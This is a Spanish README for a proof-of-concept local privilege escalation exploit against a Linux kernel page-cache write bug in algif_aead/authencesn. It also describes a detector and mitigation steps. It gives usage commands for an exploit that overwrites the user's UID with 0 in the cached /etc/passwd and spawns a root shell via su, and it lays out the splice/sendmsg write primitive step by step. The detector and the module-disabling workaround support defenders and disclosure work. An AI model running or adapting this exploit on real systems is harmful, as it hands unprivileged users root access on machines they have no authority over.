
Exploit POC para CVE_2026_31431
Detector y LPE de prueba de concepto para el error de escritura temporal en la caché de páginas de Linux algif_aead / authencesn divulgado el 2026-04-29.
Divulgación del informe: https://xint.io/blog/copy-fail-linux-distributions
Úselo únicamente en hosts que le pertenezcan o para los cuales tenga autorización expresa. El LPE modifica el estado en memoria (caché de páginas) pero la técnica es una escalada de privilegios real — ejecutarla en sistemas sin autorización es ilegal en la mayoría de las jurisdicciones.
algif_aead ejecuta operaciones AEAD en el lugar (req->src == req->dst). Cuando los datos de origen se introducen mediante splice() desde un archivo regular, la lista de dispersión de destino contiene referencias a las páginas de la caché de páginas del archivo — es decir, el kernel escribirá en ellas. El algoritmo authencesn(hmac(sha256), cbc(aes)) realiza entonces una escritura "temporal" de 4 bytes del campo seqno_lo de la AAD (bytes 4–7 de la AAD proporcionada por sendmsg) en ese destino, corrompiendo la copia en caché de páginas del archivo.
Debido a que el archivo en disco nunca se modifica, no hay firma en disco; la corrupción solo la observan los lectores que comparten la caché de páginas. /etc/passwd y /usr/bin/su son ambos legibles mundialmente, por lo que un usuario local no privilegiado puede corromper la vista del kernel en ejecución de cualquiera de ellos.
Afectados: kernels que contienen el commit 72548b093ee3 (AEAD en el lugar, 2017) sin la reversión aguas arriba. La divulgación confirmó Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3 y SUSE 16, pero la primitiva subyacente es anterior a ese rango.
| Archivo | Propósito |
|---|---|
test_cve_2026_31431.py | Detector no destructivo. Opera sobre un archivo centinela en un directorio temporal; nunca toca binarios del sistema. |
exploit_cve_2026_31431.py | LPE. Cambia el UID del usuario en ejecución a 0 en la caché de páginas de /etc/passwd, luego invoca su para un shell root. |
Ambos scripts son Python 3.10+ stdlib puro.
# 1. Detectar
python3 test_cve_2026_31431.py
# exit 0 = no vulnerable, 2 = vulnerable, 1 = error de prueba
# 2. Explotar (interactivo — su le pedirá su propia contraseña)
python3 exploit_cve_2026_31431.py --shell
python3 test_cve_2026_31431.py
Lo que hace:
AF_ALG y el algoritmo authencesn(hmac(sha256),cbc(aes)) son accesibles desde un proceso no privilegiado.sendmsg+cmsg con seqno_lo establecido en la marca PWND, luego os.splice() 32 bytes de la página de caché del centinela en el socket de operación AF_ALG.recv() para impulsar el descifrado. La verificación de autenticación falla con EBADMSG; la escritura temporal se activa de todos modos.Clases de salida:
Precondition not met — AF_ALG o authencesn no están disponibles. Salida 0.VULNERABLE to CVE-2026-31431 — la marca PWND aterrizó en la página dividida. Salida 2.Page cache MODIFIED via in-place AEAD splice path — la página fue escrita pero la marca no aterrizó en la posición esperada. Tratar como vulnerable. Salida 2.Page cache intact — parcheado. Salida 0.El detector nunca toca /usr/bin/su, /etc/passwd ni ningún otro archivo fuera del directorio temporal que crea, y ese archivo se elimina al salir.
python3 exploit_cve_2026_31431.py # solo parche, imprime próximos pasos
python3 exploit_cve_2026_31431.py --shell # parchea y ejecuta `su <usuario>`
Lo que hace:
/etc/passwd y encuentra el desplazamiento de bytes del campo UID de 4 caracteres.write4 contra ese desplazamiento, reemplazando el UID con 0000.pwd.getpwnam(usuario) para confirmar que libc ahora reporta UID 0.--shell, execvp("su", ["su", usuario]). Ingrese su propia contraseña. PAM valida contra /etc/shadow (sin tocar), luego setuid(getpwnam(usuario).pw_uid) aterriza en 0.write4 en consecuencia.nscd, sssd, systemd-userdbd) está enmascarando las lecturas de /etc/passwd. Si getpwnam aún devuelve el UID real después del parche, reinicie o evite la caché, o elija un usuario diferente./etc/passwd debe permanecer en caché entre el parche y la ejecución de su. En la práctica, esto es confiable en cualquier sistema con presión de memoria normal.El /etc/passwd en disco no se modifica.
Ejecución en seco (exploit_cve_2026_31431.py sin --shell) auto-expulsa la página corrupta al salir mediante POSIX_FADV_DONTNEED, por lo que las búsquedas de UID→nombre vuelven a la normalidad inmediatamente.
Después de --shell, la página queda corrupta hasta que la limpie. Mientras esté corrupta, cualquier cosa que resuelva UID 1000 → nombre (p. ej., ls, gestores de archivos, comprobaciones de propiedad scp/sftp) fallará o mostrará IDs numéricos. Para limpiar:
# no privilegiado - solicitar expulsión de la caché de páginas para /etc/passwd:
python3 -c "import os; fd=os.open('/etc/passwd', os.O_RDONLY); \
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED); os.close(fd)"
# desde el shell root:
echo 3 > /proc/sys/vm/drop_caches
Un reinicio también lo limpia.
write4sendmsg([AAD de 8 bytes], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd) # EBADMSG; la escritura temporal ya ha aterrizado
Los 4 bytes de las posiciones 4–7 de la AAD (seqno_lo) son escritos por authencesn en la lista de dispersión de destino, que en esta ruta de código es la página de caché que dividimos desde target_fd. El desplazamiento de aterrizaje dentro de la página corresponde al offset_src que pasamos a splice().
Hasta que el kernel parcheado llegue a su distribución:
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null
Después de aplicar, test_cve_2026_31431.py debería reportar Precondition not met y salir con 0.
La corrección aguas arriba revierte las operaciones AEAD en el lugar a fuera del lugar, manteniendo las páginas de caché fuera de las listas de dispersión escribibles.